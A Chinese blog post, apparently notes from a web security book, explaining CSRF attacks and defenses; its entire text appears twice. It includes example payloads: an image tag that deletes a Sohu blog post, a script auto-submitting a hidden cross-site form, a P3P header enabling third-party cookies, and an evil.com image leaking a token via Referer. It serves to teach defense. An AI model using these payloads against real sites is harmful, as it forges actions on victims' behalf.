CSRF=Cross Site Request Forgery
一、CSRF简介:
还记得在"跨站脚本攻击"一章中,介绍XSS Payload时的那个“删除搜狐博客”的例子吗?登录Sohu博客后,只需要请求这个URL,就能够把指定编号的博客文章删除。
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
这个URL同时还存在CSRF漏洞。
攻击者首先在自己的域构造一个页面:
http://www.a.com/csrf.html
其内容为:
<img scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012" />
攻击者诱使目标用户,也就是博客主访问这个页面。该用户看到了一张无法显示的图片,再回头看看搜狐博客,发现文章已经被删除了!
二、CSRF进阶
1、浏览器的Cookie策略:
在上节提到的例子里,攻击之所以能够成功,是因为用户的浏览器成功发送了Cookie的缘故。
浏览器的Cookie分为:“Session Cookie"(又称临时Cookie)、"Third-party Cookie"(又称本地Cookie)
两者的区别在于,本地Cookie是服务器在Set-Cookie时指定了Expire时间,只有到了Expire时间之后Cookie才会失效;而Session Cookie没有指定Expire时间,所以浏览器关闭之后,Session Cookie也就消失了。
在 浏览网站的过程中,若是一个网站设置了Session Cookie,那么在浏览器进程的声明周期内,即使浏览器新打开了Tab页,Session Cookie也都是有效的。Session Cookie保存在浏览器进程的内存空间中;而本地Cookie则保存在本地。
如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止本地Cookie的发送。
FireFox默认是允许发送第三方Cookie的,而IE默认禁止了在<img>、<iframe>、<script>、<link>等标签中发送第三方Cookie。
对于IE浏览器,攻击者需要精心构造攻击环境,比如诱使用户在当前浏览器中先访问目标站点,使得Session Cookie有效,再实施CSRF攻击。
2、P3P头的副作用
尽管有些CSRF攻击实施起来不需要认证,不需要发送Cookie,但是不可否认的是,大部分敏感或重要的操作是躲藏在认证之后的。因此浏览器拦截第三方Cookie的发送,在某种程度上来说降低了CSRF攻击的威力。可是这一情况在"P3P头"介入后变得复杂起来。
P3P Header是W3C制定的一项关于隐私的标准,全称是The Platform for Privacy Preferences.
如果网站返回给浏览器的HTTP头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方Cookie。在IE下即使是<iframe>、<script>等标签也将不再拦截第三方Cookie的发送。
在网站的业务中,P3P头主要用于类似广告等需要跨域访问的页面。但是很遗憾的是,P3P头设置后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path为单位的,这并不符合“最小权限”原则。
假设有www.a.com与www.b.com两个域,在www.b.com上有一个页面,其中包含一个指向www.a.com的iframe。
http://www.b.com/test.html的内容为:
<iframe width=300 height=300 src="http://www.a.com/test.php"></iframe>
http://www.a.com/test.php是一个对a.com域设置Cookie的页面,其内容为:
<?php
header("Set-Cookie: test=axis; domain=.a.com; path=/");
?>
当请求http://www.b.com/test.html时,它的iframe会告诉浏览器去跨域请求www.a.com/test.php。test.php会尝试Set-Cookie,所以浏览器会收到一个Cookie。
如果Set-Cookie成功,再次请求该页面,浏览器应该会发送刚才收到的Cookie。可是由于跨域限制,在a.com上Set-Cookie是不会成功的,所以无法发送刚才收到的Cookie。这里无论是临时Cookie还是本地Cookie都是一样的。
可以看到,第二次发包,只是再次接收到了Cookie,上次Set-Cookie的值并不曾发送,说明没有Set-Cookie成功。但是这种情况在加入了P3P头后会有所改变,P3P头允许跨域访问隐私数据,从而可以跨域Set-Cookie成功。
修改www.a.com/test.php如下:
<?php
header("P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR");
header("Set-Cookie: test=axis; expires=Sun,23-Dev-2018 08:13:02 GMT; domain=.a.com; path=/");
?>
再次重复上面的测试过程,可以看到第二个包成功发送出之前收到的Cookie。
P3P头的介入改变了a.com的隐私策略,从而使得<iframe>、<script>等标签在IE中不再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可,之后每次请求都会遵循此策略,而不需要再重复设置。
正因为P3P头目前在网站的应用中被广泛应用,因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略,不能心存侥幸。
很多时候,如果测试CSRF时发现<iframe>等标签在IE中居然能发送Cookie,而又找不到原因,那么很可能就是P3P头在作怪。
3、GET?POST?
CSRF不仅能使用GET,也能使用POST。
对于很多网站的应用来说,一些重要操作并未严格区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST,而非$_POST获取变量,就会存在这个问题。虽然表单是post提交,但是也可以使用get方式提交。
如果服务器端已经区分了GET与POST,那么攻击者有什么方法呢?对于攻击者来说,有若干方法可以构造出一个POST请求。
最简单的方法就是在一个页面中构造好一个form表单,然后使用javascript提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:
<form action="http://www.a.com/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f=document.getElementById("register");
f.inputs[0].value="test";
f.inputs[1].value="passwd";
f.submit();
</script>
攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。
4、Flash CSRF:
Flash也有多种方式能够发起网络请求,包括POST。
5、CSRF Worm:
2008年9月,国内的安全组织80sec公布了一个百度的CSRF Worm。
漏洞出现在百度用户中心的发送短消息功能中:通过一个链接可以给任意用户发送短消息。
而百度的另外一个接口则能查出某个用户的所有好友:
将两者结合起来,可以组成一个CSRF Worm--让一个百度用户查看恶意页面后,将给她的所有好友发送一条短消息,然后这条消息又包含一张图片,其地址再次指向CSRF页面,使得这些好友再次将消息发给他们的好友,这个Worm因此得以传播。
这个蠕虫很好地展示了CSRF的破坏性---即使没有XSS漏洞,仅仅依靠CSRF,也是能够发起大规模蠕虫攻击的。
三、CSRF的防御
1、验证码:
2、Referer Check:
Referer Check在互联网中最常见的应用就是“防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的“源”。
比如在“论坛发帖”,在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面,否则,则极有可能是CSRF攻击。
即 使我们能够检查Referer是否合法,也仅仅是满足了防御的充分条件。Referer Check的缺陷在于,服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不 会发送Referer,比如从HTTPS跳转到HTTP,出于安全方面的考虑,浏览器也不会发送Referer。
在Flash的一些版本中,曾经可以发送自定义的Referer头。而且难免有别的客户端插件允许这种操作。
出于以上种种原因,我们还是无法依赖于Referer Check作为防御CSRF的主要手段。
3、Anti CSRF Token:现在业界针对CSRF的防御,一致的做法是使用一个Token。
1)CSRF的本质:
CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用。
但这个方法也存在一些问题。首先,加密或混淆后的URL将变得非常难读,对用户非常不友好。其次,如果加密的参数每次都改变,则某些URL将无法再被用户收藏。最后,普通的参数如果也被加密或哈希,将会给数据分析工作带来很大的困扰。
因此,我们需要一个更加通用的解决方案来帮助解决这个问题。这个方案就是使用Anti CSRF Token。
例如:
http://host/path/delete?username=abc&item=123&token=[random(seed)]
Token需要足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器。Token应该作为一个“秘密”,为用户和服务器共同持有,不能被第三者知晓。在实际应用中,Token可以放在用户的Session中,或者浏览器的Cookie中。
由于Token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。
Token需要同时放在表单和Session中。在提交请求时,服务器只需验证表单中的Token,与用户Session(或Cookie)中的Token是否一致,如果一致,则认为是合法请求;如果不一致,或者有一个为空,则认为请求不合法,可能发生了CSRF攻击。
2)Token的使用原则:
a) Token必须足够随机,才可以“不可预测"
b)Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
c) 如果Token保存在Cookie中,而不是服务器端的Session中,则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作,当某个页面消 耗掉Token时,其他页面的表单内保存的还是被消耗掉的Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成 多个有效的Token,以解决多页面共存的场景。
最后,使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄漏。比如以下页面:
http://host/path/manage?username=abc&token=[random]
这个Manage页面是一个用户面板,用户需要在这个页面提交表单或者单击”删除“按钮,才能完成删除操作。
在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片:
<img src="http://evil.com/notexist" />
则"http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer发送到evil.com的服务器上,从而导致Token泄漏。
因此在使用Token时,应该尽量把Token放在表单中。把敏感操作由GET改为POST,以Form表单(或者AJAX)的形式提交,可以避免Token的泄漏。
此外,还有一些其他途径可能导致Token泄漏。比如XSS漏洞或者一些跨域漏洞,都可能让攻击者窃取到Token的值。
CSRF 的Token仅仅用于对抗CSRF攻击,当网站同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击 下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。
XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。
安全防御的体系是相辅相成,缺一不可的。
一、CSRF简介:
还记得在"跨站脚本攻击"一章中,介绍XSS Payload时的那个“删除搜狐博客”的例子吗?登录Sohu博客后,只需要请求这个URL,就能够把指定编号的博客文章删除。
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
这个URL同时还存在CSRF漏洞。
攻击者首先在自己的域构造一个页面:
http://www.a.com/csrf.html
其内容为:
<img scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012" />
攻击者诱使目标用户,也就是博客主访问这个页面。该用户看到了一张无法显示的图片,再回头看看搜狐博客,发现文章已经被删除了!
二、CSRF进阶
1、浏览器的Cookie策略:
在上节提到的例子里,攻击之所以能够成功,是因为用户的浏览器成功发送了Cookie的缘故。
浏览器的Cookie分为:“Session Cookie"(又称临时Cookie)、"Third-party Cookie"(又称本地Cookie)
两者的区别在于,本地Cookie是服务器在Set-Cookie时指定了Expire时间,只有到了Expire时间之后Cookie才会失效;而Session Cookie没有指定Expire时间,所以浏览器关闭之后,Session Cookie也就消失了。
在 浏览网站的过程中,若是一个网站设置了Session Cookie,那么在浏览器进程的声明周期内,即使浏览器新打开了Tab页,Session Cookie也都是有效的。Session Cookie保存在浏览器进程的内存空间中;而本地Cookie则保存在本地。
如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止本地Cookie的发送。
FireFox默认是允许发送第三方Cookie的,而IE默认禁止了在<img>、<iframe>、<script>、<link>等标签中发送第三方Cookie。
对于IE浏览器,攻击者需要精心构造攻击环境,比如诱使用户在当前浏览器中先访问目标站点,使得Session Cookie有效,再实施CSRF攻击。
2、P3P头的副作用
尽管有些CSRF攻击实施起来不需要认证,不需要发送Cookie,但是不可否认的是,大部分敏感或重要的操作是躲藏在认证之后的。因此浏览器拦截第三方Cookie的发送,在某种程度上来说降低了CSRF攻击的威力。可是这一情况在"P3P头"介入后变得复杂起来。
P3P Header是W3C制定的一项关于隐私的标准,全称是The Platform for Privacy Preferences.
如果网站返回给浏览器的HTTP头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方Cookie。在IE下即使是<iframe>、<script>等标签也将不再拦截第三方Cookie的发送。
在网站的业务中,P3P头主要用于类似广告等需要跨域访问的页面。但是很遗憾的是,P3P头设置后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path为单位的,这并不符合“最小权限”原则。
假设有www.a.com与www.b.com两个域,在www.b.com上有一个页面,其中包含一个指向www.a.com的iframe。
http://www.b.com/test.html的内容为:
<iframe width=300 height=300 src="http://www.a.com/test.php"></iframe>
http://www.a.com/test.php是一个对a.com域设置Cookie的页面,其内容为:
<?php
header("Set-Cookie: test=axis; domain=.a.com; path=/");
?>
当请求http://www.b.com/test.html时,它的iframe会告诉浏览器去跨域请求www.a.com/test.php。test.php会尝试Set-Cookie,所以浏览器会收到一个Cookie。
如果Set-Cookie成功,再次请求该页面,浏览器应该会发送刚才收到的Cookie。可是由于跨域限制,在a.com上Set-Cookie是不会成功的,所以无法发送刚才收到的Cookie。这里无论是临时Cookie还是本地Cookie都是一样的。
可以看到,第二次发包,只是再次接收到了Cookie,上次Set-Cookie的值并不曾发送,说明没有Set-Cookie成功。但是这种情况在加入了P3P头后会有所改变,P3P头允许跨域访问隐私数据,从而可以跨域Set-Cookie成功。
修改www.a.com/test.php如下:
<?php
header("P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR");
header("Set-Cookie: test=axis; expires=Sun,23-Dev-2018 08:13:02 GMT; domain=.a.com; path=/");
?>
再次重复上面的测试过程,可以看到第二个包成功发送出之前收到的Cookie。
P3P头的介入改变了a.com的隐私策略,从而使得<iframe>、<script>等标签在IE中不再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可,之后每次请求都会遵循此策略,而不需要再重复设置。
正因为P3P头目前在网站的应用中被广泛应用,因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略,不能心存侥幸。
很多时候,如果测试CSRF时发现<iframe>等标签在IE中居然能发送Cookie,而又找不到原因,那么很可能就是P3P头在作怪。
3、GET?POST?
CSRF不仅能使用GET,也能使用POST。
对于很多网站的应用来说,一些重要操作并未严格区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST,而非$_POST获取变量,就会存在这个问题。虽然表单是post提交,但是也可以使用get方式提交。
如果服务器端已经区分了GET与POST,那么攻击者有什么方法呢?对于攻击者来说,有若干方法可以构造出一个POST请求。
最简单的方法就是在一个页面中构造好一个form表单,然后使用javascript提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:
<form action="http://www.a.com/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f=document.getElementById("register");
f.inputs[0].value="test";
f.inputs[1].value="passwd";
f.submit();
</script>
攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。
4、Flash CSRF:
Flash也有多种方式能够发起网络请求,包括POST。
5、CSRF Worm:
2008年9月,国内的安全组织80sec公布了一个百度的CSRF Worm。
漏洞出现在百度用户中心的发送短消息功能中:通过一个链接可以给任意用户发送短消息。
而百度的另外一个接口则能查出某个用户的所有好友:
将两者结合起来,可以组成一个CSRF Worm--让一个百度用户查看恶意页面后,将给她的所有好友发送一条短消息,然后这条消息又包含一张图片,其地址再次指向CSRF页面,使得这些好友再次将消息发给他们的好友,这个Worm因此得以传播。
这个蠕虫很好地展示了CSRF的破坏性---即使没有XSS漏洞,仅仅依靠CSRF,也是能够发起大规模蠕虫攻击的。
三、CSRF的防御
1、验证码:
2、Referer Check:
Referer Check在互联网中最常见的应用就是“防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的“源”。
比如在“论坛发帖”,在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面,否则,则极有可能是CSRF攻击。
即 使我们能够检查Referer是否合法,也仅仅是满足了防御的充分条件。Referer Check的缺陷在于,服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不 会发送Referer,比如从HTTPS跳转到HTTP,出于安全方面的考虑,浏览器也不会发送Referer。
在Flash的一些版本中,曾经可以发送自定义的Referer头。而且难免有别的客户端插件允许这种操作。
出于以上种种原因,我们还是无法依赖于Referer Check作为防御CSRF的主要手段。
3、Anti CSRF Token:现在业界针对CSRF的防御,一致的做法是使用一个Token。
1)CSRF的本质:
CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用。
但这个方法也存在一些问题。首先,加密或混淆后的URL将变得非常难读,对用户非常不友好。其次,如果加密的参数每次都改变,则某些URL将无法再被用户收藏。最后,普通的参数如果也被加密或哈希,将会给数据分析工作带来很大的困扰。
因此,我们需要一个更加通用的解决方案来帮助解决这个问题。这个方案就是使用Anti CSRF Token。
例如:
http://host/path/delete?username=abc&item=123&token=[random(seed)]
Token需要足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器。Token应该作为一个“秘密”,为用户和服务器共同持有,不能被第三者知晓。在实际应用中,Token可以放在用户的Session中,或者浏览器的Cookie中。
由于Token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。
Token需要同时放在表单和Session中。在提交请求时,服务器只需验证表单中的Token,与用户Session(或Cookie)中的Token是否一致,如果一致,则认为是合法请求;如果不一致,或者有一个为空,则认为请求不合法,可能发生了CSRF攻击。
2)Token的使用原则:
a) Token必须足够随机,才可以“不可预测"
b)Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
c) 如果Token保存在Cookie中,而不是服务器端的Session中,则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作,当某个页面消 耗掉Token时,其他页面的表单内保存的还是被消耗掉的Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成 多个有效的Token,以解决多页面共存的场景。
最后,使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄漏。比如以下页面:
http://host/path/manage?username=abc&token=[random]
这个Manage页面是一个用户面板,用户需要在这个页面提交表单或者单击”删除“按钮,才能完成删除操作。
在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片:
<img src="http://evil.com/notexist" />
则"http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer发送到evil.com的服务器上,从而导致Token泄漏。
因此在使用Token时,应该尽量把Token放在表单中。把敏感操作由GET改为POST,以Form表单(或者AJAX)的形式提交,可以避免Token的泄漏。
此外,还有一些其他途径可能导致Token泄漏。比如XSS漏洞或者一些跨域漏洞,都可能让攻击者窃取到Token的值。
CSRF 的Token仅仅用于对抗CSRF攻击,当网站同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击 下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。
XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。
安全防御的体系是相辅相成,缺一不可的。
没有评论:
发表评论